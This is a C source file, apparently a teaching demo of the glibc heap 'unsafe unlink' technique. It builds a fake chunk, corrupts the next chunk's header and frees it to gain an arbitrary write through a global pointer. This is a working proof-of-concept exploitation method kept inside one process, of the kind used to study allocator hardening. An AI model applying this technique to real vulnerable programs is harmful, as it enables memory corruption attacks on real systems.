text: #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <stdint.h>
  #include <assert.h>
  
  uint64_t *chunk0_ptr;
  
  int main()
  {
  	setbuf(stdout, NULL);
  	printf("Welcome to unsafe unlink 2.0!\n");
  	printf("Tested in Ubuntu 18.04.4 64bit.\n");
  	printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
  	printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
  
  	int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
  	int header_size = 2;
  
  	printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
  
  	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
  	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
  	printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
  	printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
  
  	printf("We create a fake chunk inside chunk0.\n");
  	printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
  	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
  	printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
  	printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
  	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
  	printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
  	printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
  
  	printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
  	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
  	printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
  	printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
  	chunk1_hdr[0] = malloc_size;
  	printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
  	printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
  	chunk1_hdr[1] &= ~1;
  
  	printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
  	printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
  	free(chunk1_ptr);
  
  	printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
  	char victim_string[8];
  	strcpy(victim_string,"Hello!~");
  	chunk0_ptr[3] = (uint64_t) victim_string;
  
  	printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
  	printf("Original value: %s\n",victim_string);
  	chunk0_ptr[0] = 0x4141414142424242LL;
  	printf("New Value: %s\n",victim_string);
  
  	// sanity check
  	assert(*(long *)victim_string == 0x4141414142424242L);
  }
  
  